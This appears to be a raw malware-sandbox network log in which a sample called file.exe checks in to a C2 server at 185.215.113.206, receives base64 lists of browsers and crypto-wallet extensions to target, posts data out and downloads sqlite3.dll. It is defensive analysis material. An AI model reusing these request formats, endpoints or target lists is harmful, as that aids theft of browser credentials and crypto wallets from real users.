Nov 23, 2024 21:59:36.895576954 CET	1.1.1.1	192.168.2.6	0xb62e	No error (0)	sb.scorecardresearch.com		3.160.188.50	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.895576954 CET	1.1.1.1	192.168.2.6	0xb62e	No error (0)	sb.scorecardresearch.com		3.160.188.18	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.895576954 CET	1.1.1.1	192.168.2.6	0xb62e	No error (0)	sb.scorecardresearch.com		3.160.188.19	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:36.897963047 CET	1.1.1.1	192.168.2.6	0xc7c2	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:36.899068117 CET	1.1.1.1	192.168.2.6	0xd33e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:37.038419962 CET	1.1.1.1	192.168.2.6	0x2db4	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:37.039098978 CET	1.1.1.1	192.168.2.6	0xa004	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:37.180710077 CET	1.1.1.1	192.168.2.6	0x6088	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:37.181551933 CET	1.1.1.1	192.168.2.6	0xcc0d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:45.492485046 CET	1.1.1.1	192.168.2.6	0x4080	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 23, 2024 21:59:45.492485046 CET	1.1.1.1	192.168.2.6	0x4080	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false
Nov 23, 2024 21:59:45.492485046 CET	1.1.1.1	192.168.2.6	0x4080	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Nov 23, 2024 22:00:34.527615070 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Nov 23, 2024 22:00:34.527615070 CET	1.1.1.1	192.168.2.6	0x1	No error (0)	fg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49714	185.215.113.206	80	7372	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 21:59:11.313003063 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:59:12.701075077 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:12.707528114 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 30 46 43 36 45 41 32 37 31 41 35 31 39 31 35 33 33 34 32 33 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="hwid"20FC6EA271A51915334237------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="build"mars------AKECBFBAEBKJJJJKFCGC--
Nov 23, 2024 21:59:13.174318075 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 49 7a 59 6a 52 6a 59 57 45 79 4d 57 51 33 4d 54 55 34 4e 47 51 35 4e 7a 46 6c 4e 47 49 7a 4e 6d 45 79 59 7a 63 7a 4e 7a 42 6d 4d 7a 51 32 4e 54 63 35 4d 44 41 77 4d 7a 52 6b 5a 6a 45 79 59 6a 59 31 5a 54 55 78 5a 44 46 6c 59 6a 42 6a 59 6a 6b 7a 4f 57 52 69 4f 44 6b 79 4d 7a 67 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWIzYjRjYWEyMWQ3MTU4NGQ5NzFlNGIzNmEyYzczNzBmMzQ2NTc5MDAwMzRkZjEyYjY1ZTUxZDFlYjBjYjkzOWRiODkyMzg1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 21:59:13.178122044 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIIIEGDBKJKEBGCBAFCF Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 49 49 45 47 44 42 4b 4a 4b 45 42 47 43 42 41 46 43 46 2d 2d 0d 0a Data Ascii: ------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------HIIIEGDBKJKEBGCBAFCFContent-Disposition: form-data; name="message"browsers------HIIIEGDBKJKEBGCBAFCF--
Nov 23, 2024 21:59:13.676028013 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 21:59:13.676115036 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 21:59:13.677704096 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DHJJEGHIIDAFIDHJDHJE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 2d 2d 0d 0a Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="message"plugins------DHJJEGHIIDAFIDHJDHJE--
Nov 23, 2024 21:59:14.142471075 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:13 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 21:59:14.142491102 CET	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Nov 23, 2024 21:59:14.142565966 CET	1236	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Nov 23, 2024 21:59:14.142576933 CET	1236	IN	Data Raw: 49 45 46 77 64 47 39 7a 49 46 64 68 62 47 78 6c 64 48 78 77 61 47 74 69 59 57 31 6c 5a 6d 6c 75 5a 32 64 74 59 57 74 6e 61 32 78 77 61 32 78 71 61 6d 31 6e 61 57 4a 76 61 47 35 69 59 58 77 78 66 44 42 38 4d 48 78 51 5a 58 52 79 59 53 42 42 63 48 Data Ascii: IEFwdG9zIFdhbGxldHxwaGtiYW1lZmluZ2dtYWtna2xwa2xqam1naWJvaG5iYXwxfDB8MHxQZXRyYSBBcHRvcyBXYWxsZXR8ZWpqbGFkaW5uY2tkZ2plbWVrZWJkcGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWt
Nov 23, 2024 21:59:14.142589092 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 21:59:14.142608881 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 21:59:14.144850969 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 61 61 32 31 64 37 31 35 38 34 64 39 37 31 65 34 62 33 36 61 32 63 37 33 37 30 66 33 34 36 35 37 39 30 30 30 33 34 64 66 31 32 62 36 35 65 35 31 64 31 65 62 30 63 62 39 33 39 64 62 38 39 32 33 38 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 2d 2d 0d 0a Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="message"fplugins------GCAKKECAEGDGCBFIJEGH--
Nov 23, 2024 21:59:14.598001003 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:14 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 21:59:14.616139889 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEGCFCAKFHCGCBFHCGHD Host: 185.215.113.206 Content-Length: 8347 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 21:59:14.616189957 CET	8347	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 46 43 41 4b 46 48 43 47 43 42 46 48 43 47 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 62 33 62 34 63 Data Ascii: ------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="token"5b3b4caa21d71584d971e4b36a2c7370f34657900034df12b65e51d1eb0cb939db892385------KEGCFCAKFHCGCBFHCGHDContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 21:59:15.628072977 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:14 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 21:59:16.161798954 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 21:59:16.612993956 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:59:16 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
